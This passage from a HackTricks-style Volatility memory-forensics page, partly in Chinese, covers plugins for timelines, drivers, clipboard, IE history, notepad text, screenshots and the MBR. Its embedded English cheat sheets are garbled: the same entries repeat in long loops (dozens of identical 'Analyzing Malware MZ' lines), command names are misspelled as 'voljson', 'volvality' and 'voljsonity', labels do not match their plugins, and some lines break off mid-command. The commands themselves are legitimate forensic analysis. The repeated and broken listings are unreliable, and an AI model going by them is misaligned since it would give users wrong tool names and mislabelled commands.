  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping Registry Hives**
  * `voljson -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`

**Advanced Commands**

* **Analyzing Malware**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Extracting DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Analyzing Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockets`
* **Analyzing Timelining**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`

**Plugin Resources**

* **Official Volatility Plugins**
  * <https://github.com/volatilityfoundation/volatility/wiki/Plugins>
* **Volatility Plugin List**
  * <https://github.com/superponible/volatility_plugins>
* **Volatility Plugin Development**
  * <https://github.com/volatilityfoundation/volatility/wiki/Volatility-Usage>

```
volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash
```

### 时间线

{% tabs %}
{% tab title="vol3" %}

```bash
./vol.py -f file.dmp timeLiner.TimeLiner
```

{% endtab %}

{% tab title="vol2" %}
**Volatility Cheat Sheet**

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping a File**
  * `volvality -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`

**Advanced Commands**

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Registry**
  * `volatility -f <memory_dump> --profile=<profile> printkey -K <registry_key>`
* **Extracting Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockets`
* **Analyzing Drivers**
  * `voljson -f <memory_dump> --profile=<profile>`
* **Analyzing Packed Binaries**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analylining Malicious DLL Injections**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Timelining**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing Process Memory**
  * `volatility -f <memory_dump> --profile=<profile> memmap`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Process Vad**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyizing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Process Driverirp**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Analyzing Process Devicetree**
  * `volatility -f <memory_dump> --profile=<profile> devicetree`
* **Analyzing Process Drivermodule**
  * `volatility -f <memory_dump> --profile=<profile> drivermodule`
* **Analyzing Process Driverobject**
  * `volatility -f <memory_dump> --profile=<profile> driverobject`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing Process LDT**
  * `volatility -f <memory_dump> --profile=<profile> ldt`
* **Analyzing Process IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing Process SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Process GDI Table**
  * `volatility -f <memory_dump> --profile=<profile> gdit`
* **Analyzing Process User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Process Mutants**
  * \`volatility -f \<memory\_dump> --profile=

```
volatility --profile=Win7SP1x86_23418 -f timeliner
```

{% endtab %}
{% endtabs %}

### 驱动程序

```
./vol.py -f file.dmp windows.driverscan.DriverScan
```

### Volatility Cheat Sheet

#### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping a File**
  * `volvality -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`

#### Advanced Commands

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Registry**
  * `volatility -f <memory_dump> --profile=<profile> printkey -K <key>`
* **Extracting Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Analyzing Kernel Modules**
  * `voljsonity -f <memory_dump> --profile=<profile> modscan`
* **Analyzing Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Timeliner**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing PSScan**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Yara Rules**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing CSRSS**
  * `volatility -f <memory_dump> --profile=<profile> csrss`
* **Analyzing LDR Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vaddump`
* **Analyzing User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist`
* **Analyizing Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads`
* **Analyzing GDI Tables**
  * `volatility -f <memory_dump> --profile=<profile> gditimers`
* **Analyzing GDI Objects**
  * `volatility -f <memory_dump> --profile=<profile> gdiobjects`
* **Analyzing Atom Tables**
  * `volatility -f <memory_dump> --profile=<profile> atomscan`
* **Analyzing Desktops**
  * `volatility -f <memory_dump> --profile=<profile> desktops`
* **Analyzing Windows Stations**
  * `volatility -f <memory_dump> --profile=<profile> windows`
* **Analyzing Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Analyzing Netscan**
  * `volatility -f <memory_dump> --profile=<profile> netscan`
* **Analyzing Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Analyzing Malfind**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware**
  * `volatility -f <memory_dump> --profile=<profile> malprocfind`
* **Analyzing Malware Config**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware Yara**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing Malware Strings**
  * `volatility -f <memory_dump> --profile=<profile> strings`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Malware MZ**
  * \`volatility -

```bash
volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan
```

### 获取剪贴板

```bash
#Just vol2
volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp
```

### 获取IE浏览历史

```bash
#Just vol2
volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp
```

### 获取记事本文本

```bash
#Just vol2
volatility --profile=Win7SP1x86_23418 notepad -f file.dmp
```

### 屏幕截图

```bash
#Just vol2
volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp
```

### 主引导记录（MBR）

```bash
volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp
```

**主引导记录（MBR）** 在管理存储介质的逻辑分区方面发挥着至关重要的作用，这些分区使用不同的[文件系统](https://en.wikipedia.org/wiki/File_system)进行结构化。它不仅保存分区布局信息，还包含作为引导加载程序的可执行代码。这个引导加载程序要么直接启动操作系统的第二阶段加载过程（参见[第二阶段引导加载程序](https://en.wikipedia.org/wiki/Second-stage_boot_loader)），要么与每个分区的[卷引导记录](https://en.wikipedia.org/wiki/Volume_boot_record)（VBR）协同工作。欲了解更多信息，请参阅[MBR 维基百科页面](https://en.wikipedia.org/wiki/Master_boot_record)。

## 参考资料

* <https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/>
* <https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html>
* <https://or10nlabs.tech/cgi-sys/suspendedpage.cgi>
* <https://www.aldeid.com/wiki/Windows-userassist-keys>
* <https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table>
* <https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa>

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一，也是**欧洲**最重要的活动之一。作为促进技术知识的使命，这个大会是技术和网络安全专业人士在各个领域的热点交流之地。

{% embed url="<https://www.rootedcon.com/>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们。\*\*
